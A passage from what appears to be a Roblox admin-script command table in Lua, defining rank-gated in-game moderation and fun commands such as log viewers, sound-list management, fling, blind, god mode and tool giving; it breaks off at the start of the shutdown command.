  6005. [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  6006. GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  6007. end};
  6008.  
  6009. [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  6010. GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  6011. end};
  6012.  
  6013. [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6014. local TableStorage = {}
  6015. for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  6016. for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  6017. for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  6018. GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  6019. end};
  6020.  
  6021. [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6022. local TableStorage = {}
  6023. for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  6024. for Num,PlayerName in pairs(PlayerNames) do
  6025. if PlayerRank == "Owner" then
  6026. table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  6027. else
  6028. table.insert(TableStorage, PlayerName..": "..PlayerRank)
  6029. end
  6030. end
  6031. end
  6032. GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
  6033. end};
  6034.  
  6035. [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6036. GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  6037. end};
  6038.  
  6039. [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6040. GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  6041. end};
  6042.  
  6043. [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6044. GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  6045. end};
  6046.  
  6047. [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6048. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  6049. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  6050. GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  6051. end};
  6052.  
  6053. [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6054. CommandLogs = {}
  6055. end};
  6056.  
  6057. [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6058. ChatLogs = {}
  6059. end};
  6060.  
  6061. [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6062. IRC.Logs = {}
  6063. end};
  6064.  
  6065. [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6066. CommandLogs = {}
  6067. ChatLogs = {}
  6068. IRC.Logs = {}
  6069. end};
  6070.  
  6071. [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6072. Server.GDS:SetAsync("ExploitLog", {})
  6073. end};
  6074.  
  6075. [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  6076. local List,Correlate,SoundName = {},{},{}
  6077. for Name,Info in pairs(SoundList) do
  6078. local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  6079. table.insert(List, View)
  6080. Correlate[View] = Info[1]
  6081. end
  6082.  
  6083. local CanClick = true
  6084. if Rank == "Member" then CanClick = false end
  6085. local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  6086. Clicked.Event:connect(function(ClickName)
  6087. local OldSoundId = nil
  6088. SOUND:StopGlobalSound()
  6089. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6090. SOUND:PlayGlobalSound(Correlate[ClickName])
  6091. end
  6092. end)
  6093. end};
  6094.  
  6095. [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6096. SOUND:SyncSoundList(Speaker)
  6097. end};
  6098.  
  6099. [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6100. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  6101. if Answer == "Yes" then
  6102. Server.Workspace.Terrain:Clear()
  6103. end
  6104. end};
  6105.  
  6106. [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6107. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  6108. if Answer == "Yes" then
  6109. for _,Obj in pairs(Workspace:GetChildren()) do
  6110. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  6111. Obj:Destroy()
  6112. end
  6113. end
  6114. end
  6115. end};
  6116.  
  6117. [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6118. CORE:MakeBase()
  6119. end};
  6120.  
  6121. [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6122. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6123. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6124. CustomSounds = {}
  6125. end
  6126. if tostring(Arguments[1]) then
  6127. local Request = MARKET:GetItemInfo(Arguments[1])
  6128. if Request.AssetTypeId == 3 then
  6129. table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  6130. SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
  6131. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6132. GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  6133. else
  6134. GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  6135. end
  6136. end
  6137. end};
  6138.  
  6139. [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6140. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6141. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6142. CustomSounds = {}
  6143. end
  6144.  
  6145. local Removed = {}
  6146. for Num,Data in pairs(CustomSounds) do
  6147. if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6148. table.insert(Removed, Data[1])
  6149. table.remove(CustomSounds, Num)
  6150. end
  6151. end
  6152.  
  6153. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6154.  
  6155. SOUND:SyncSoundList()
  6156.  
  6157. if #Removed > 0 then
  6158. GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  6159. else
  6160. GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  6161. end
  6162. end};
  6163.  
  6164. [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6165. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  6166. if Answer == "Yes" then
  6167. Server.GDS:SetAsync("MML Custom Sounds", {})
  6168. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  6169. GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  6170. end
  6171. end};
  6172.  
  6173. [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6174. local Players = STRING:Scan(Arguments[1], Speaker)
  6175. local SpeakerTesting = false
  6176. for _,Player in pairs(Players) do
  6177. if Player == Speaker then SpeakerTesting = true end
  6178. if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  6179. CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  6180. --wait(10)
  6181. --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  6182. end)() end
  6183. end
  6184. if SpeakerTesting == false then
  6185. GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  6186. end
  6187. end};
  6188.  
  6189. [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6190. local Players = STRING:Scan(Arguments[1], Speaker)
  6191. local Compile = {}
  6192. for _,Player in pairs(Players) do
  6193. local PlayerInfo = ClientInfo[Player.Name]
  6194. if PlayerInfo then
  6195. if PlayerInfo.Benchmark then
  6196. table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  6197. else
  6198. table.insert(Compile, Player.Name..": No score")
  6199. end
  6200. end
  6201. end
  6202. GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  6203. end};
  6204.  
  6205. [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6206. local Players = STRING:Scan(Arguments[1], Speaker)
  6207. for _,Player in pairs(Players) do
  6208. CORE:Chatted(Arguments[2], Player, true)
  6209. end
  6210. end};
  6211.  
  6212. [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  6213. CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  6214. end};
  6215.  
  6216. [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  6217. local Players = STRING:Scan(Arguments[1], Speaker)
  6218. for _,Player in pairs(Players) do
  6219. if Player.Character ~= nil then
  6220. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  6221. if Player.Character.Torso:FindFirstChild("Neck") then
  6222. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6223. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6224. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
  6225. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  6226. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  6227. end
  6228. end
  6229. end
  6230. end
  6231. end};
  6232.  
  6233. [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  6234. local Players = STRING:Scan(Arguments[1], Speaker)
  6235. for _,Player in pairs(Players) do
  6236. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  6237. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6238. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6239. end
  6240. end
  6241. end};
  6242.  
  6243. [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  6244. local Players = STRING:Scan(Arguments[1], Speaker)
  6245. for _,Player in pairs(Players) do
  6246. local _,RankNum = RANK:GetRank(Player)
  6247. if RankNum <= RANK:ConvertRank(Rank) then
  6248. CORE:FlingPlayer(Player)
  6249. end
  6250. end
  6251. end};
  6252.  
  6253. [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  6254. local Players = STRING:Scan(Arguments[1], Speaker)
  6255. for _,Player in pairs(Players) do
  6256. local _,RankNum = RANK:GetRank(Player)
  6257. if RankNum <= RANK:ConvertRank(Rank) then
  6258. Flings[Player.Name] = true
  6259. CORE:FlingPlayer(Player)
  6260. end
  6261. end
  6262. end};
  6263.  
  6264. [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6265. local Players = STRING:Scan(Arguments[1], Speaker)
  6266. for _,Player in pairs(Players) do
  6267. local _,RankNum = RANK:GetRank(Player)
  6268. if RankNum <= RANK:ConvertRank(Rank) then
  6269. Flings[Player.Name] = nil
  6270. end
  6271. end
  6272. end};
  6273.  
  6274. [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6275. local Players = STRING:Scan(Arguments[1], Speaker)
  6276. for _,Player in pairs(Players) do
  6277. CORE:Nuke(Player)
  6278. end
  6279. end};
  6280.  
  6281. [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6282. local Players = STRING:Scan(Arguments[1], Speaker)
  6283. for _,Player in pairs(Players) do
  6284. Beeps[Player.Name] = true
  6285. SOUND:BeepPlayer(Player)
  6286. end
  6287. end};
  6288.  
  6289. [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6290. local Players = STRING:Scan(Arguments[1], Speaker)
  6291. for _,Player in pairs(Players) do
  6292. if Player.PlayerGui then
  6293. Beeps[Player.Name] = nil
  6294. for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  6295. if Obj.Name == "Annoy" then
  6296. Obj:Stop()
  6297. Obj:Destroy()
  6298. end
  6299. end
  6300. end
  6301. end
  6302. end};
  6303.  
  6304. [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6305. local Time = Arguments[1]
  6306. if Time == "day" or Time == "noon" then Time = "12" end
  6307. if Time == "night" or Time == "midnight" then Time = "0" end
  6308. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  6309. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  6310. if Time == "afternoon" then Time = "15:30" end
  6311. ypcall(function() Server.Lighting.TimeOfDay = Time end)
  6312. end};
  6313.  
  6314. [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  6315. local Players = STRING:Scan(Arguments[1], Speaker)
  6316. for _,Player in pairs(Players) do
  6317. MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  6318. end
  6319. end};
  6320.  
  6321. [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6322. local AbuseMode = false
  6323. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6324. local Players = STRING:Scan(Arguments[1], Speaker)
  6325. for _,Player in pairs(Players) do
  6326. CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6327. end
  6328. end};
  6329.  
  6330. [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  6331. local Players = STRING:Scan(Arguments[1], Speaker)
  6332. for _,Player in pairs(Players) do
  6333. CORE:Insert(125013769, Player.Backpack, true)
  6334. end
  6335. end};
  6336.  
  6337. [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6338. local Players = STRING:Scan(Arguments[1], Speaker)
  6339. for _,Player in pairs(Players) do
  6340. if Player.Character then
  6341. CORE:Insert(Arguments[2], Player.Character, true, {"Hat"})
  6342. end
  6343. end
  6344. end};
  6345.  
  6346. [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
  6347. CORE:ResetLighting()
  6348. repeat
  6349. Server.Lighting.Ambient = Color3.new(1,1,1)
  6350. Server.Lighting.FogColor = Color3.new(1,1,1)
  6351. Server.Lighting.Brightness = 1
  6352. Server.Lighting.TimeOfDay = 14
  6353. wait(0.1)
  6354. Server.Lighting.Ambient = Color3.new(0,0,0)
  6355. Server.Lighting.FogColor = Color3.new(0,0,0)
  6356. Server.Lighting.Brightness = 0
  6357. Server.Lighting.TimeOfDay = 0
  6358. wait(0.1)
  6359. until ModLighting == false
  6360. end};
  6361.  
  6362. [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  6363. CORE:ResetLighting()
  6364. repeat
  6365. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6366. Server.Lighting.Ambient = Color
  6367. Server.Lighting.FogColor = Color
  6368. Server.Lighting.TimeOfDay = 0
  6369. Server.Lighting.FogEnd = 500
  6370. wait(0.1)
  6371. until ModLighting == false
  6372. end};
  6373.  
  6374. [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  6375. CORE:FixLighting()
  6376. end};
  6377.  
  6378. [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  6379. local Players = STRING:Scan(Arguments[1], Speaker)
  6380. for _,Player in pairs(Players) do
  6381. if Player:FindFirstChild("PlayerGui") then
  6382. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6383. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6384. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  6385. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  6386. end
  6387. end
  6388. end};
  6389.  
  6390. [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  6391. local Players = STRING:Scan(Arguments[1], Speaker)
  6392. for _,Player in pairs(Players) do
  6393. if Player:FindFirstChild("PlayerGui") then
  6394. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6395. end
  6396. end
  6397. end};
  6398.  
  6399. [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  6400. local Players = STRING:Scan(Arguments[1], Speaker)
  6401. for _,Player in pairs(Players) do
  6402. if Player:FindFirstChild("PlayerGui") then
  6403. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6404. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6405. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  6406. end
  6407. end
  6408. end};
  6409.  
  6410. [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6411. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
  6412. if Suc then
  6413. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  6414. else
  6415. Server.TS:Teleport(game.PlaceId, Speaker)
  6416. end
  6417. end};
  6418.  
  6419. [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6420. GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  6421. end};
  6422.  
  6423. [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6424. local NewAbuse = Arguments[1]
  6425. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6426. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6427. end
  6428.  
  6429. local Match = false
  6430. for _,AbuseCmd in pairs(Settings.AbuseList) do
  6431. if string.lower(AbuseCmd) == string.lower(NewAbuse) then
  6432. Match = true
  6433. break
  6434. end
  6435. end
  6436. if not Match then
  6437. table.insert(Settings.AbuseList, NewAbuse)
  6438. GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
  6439. else
  6440. GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
  6441. end
  6442. CORE:SetAbuseCommands()
  6443. end};
  6444.  
  6445. [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6446. local NewAbuse = Arguments[1]
  6447. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6448. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6449. end
  6450.  
  6451. local Removed = false
  6452. for Num,AbuseCmd in pairs(Settings.AbuseList) do
  6453. if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
  6454. Removed = true
  6455. table.remove(Settings.AbuseList, Num)
  6456. end
  6457. end
  6458. if Removed then
  6459. GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
  6460. else
  6461. GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
  6462. end
  6463. CORE:SetAbuseCommands()
  6464. end};
  6465.  
  6466. [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  6467. local Players = STRING:Scan(Arguments[1], Speaker)
  6468. for _,Player in pairs(Players) do
  6469. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6470. Player.Character.Humanoid.MaxHealth = math.huge
  6471. Player.Character.Humanoid.Health = math.huge
  6472. end
  6473. end
  6474. end};
  6475.  
  6476. [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6477. local Players = STRING:Scan(Arguments[1], Speaker)
  6478. for _,Player in pairs(Players) do
  6479. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6480. if Player.Character.Humanoid.MaxHealth == math.huge then
  6481. Player.Character.Humanoid.MaxHealth = 100
  6482. Player.Character.Humanoid.Health = 100
  6483. else
  6484. Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  6485. end
  6486. end
  6487. end
  6488. end};
  6489.  
  6490. [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  6491. local Players = STRING:Scan(Arguments[1], Speaker)
  6492. for _,Player in pairs(Players) do
  6493. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6494. local Char = Player.Character
  6495. repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  6496. end
  6497. end
  6498. end};
  6499.  
  6500. [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6501. if tonumber(Arguments[2]) then
  6502. local Players = STRING:Scan(Arguments[1], Speaker)
  6503. for _,Player in pairs(Players) do
  6504. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6505. Player.Character.Humanoid.Health = Arguments[2]
  6506. end
  6507. end
  6508. end
  6509. end};
  6510.  
  6511. [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6512. if tonumber(Arguments[2]) then
  6513. local Players = STRING:Scan(Arguments[1], Speaker)
  6514. for _,Player in pairs(Players) do
  6515. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6516. local Speed = Arguments[2]
  6517. if tonumber(Speed) then
  6518. if Rank == "Member" then
  6519. if Speed > 1000 then Speed = 1000
  6520. elseif Speed < -1000 then Speed = -1000 end
  6521. end
  6522. Player.Character.Humanoid.WalkSpeed = Speed
  6523. end
  6524. end
  6525. end
  6526. end
  6527. end};
  6528.  
  6529. [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  6530. if tonumber(Arguments[2]) then
  6531. local Players = STRING:Scan(Arguments[1], Speaker)
  6532. for _,Player in pairs(Players) do
  6533. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6534. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  6535. end
  6536. end
  6537. end
  6538. end};
  6539.  
  6540. [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  6541. local Players = STRING:Scan(Arguments[1], Speaker)
  6542. for _,Player in pairs(Players) do
  6543. CORE:Fly(Player, 10000)
  6544. end
  6545. end};
  6546.  
  6547. [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  6548. local Players = STRING:Scan(Arguments[1], Speaker)
  6549. for _,Player in pairs(Players) do
  6550. CORE:Fly(Player, 1000000)
  6551. end
  6552. end};
  6553.  
  6554. [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6555. local Players = STRING:Scan(Arguments[1], Speaker)
  6556. for _,Player in pairs(Players) do
  6557. if Player.Character then
  6558. if Player.Character:FindFirstChild("StopMMLFly") then
  6559. Player.Character.StopMMLFly:InvokeClient(Player)
  6560. end
  6561. end
  6562. end
  6563. end};
  6564.  
  6565. [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6566. ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
  6567. GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  6568. end};
  6569.  
  6570. [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6571. local Players = STRING:Scan(Arguments[1], Speaker)
  6572. for _,Player in pairs(Players) do
  6573. CORE:GiveTools(Player, Arguments[2])
  6574. end
  6575. end};
  6576.  
  6577. [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  6578. local List = {}
  6579. for _,Region in pairs(ToolRegions) do
  6580. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  6581. table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
  6582. end)
  6583. end
  6584.  
  6585. GUI:ListGui(Speaker, "Tool list", List, 73589272)
  6586. end};
  6587.  
  6588. [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  6589. local Players = STRING:Scan(Arguments[1], Speaker)
  6590. for _,Player in pairs(Players) do
  6591. CORE:GiveTools(Player, "btools")
  6592. end
  6593. end};
  6594.  
  6595. [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
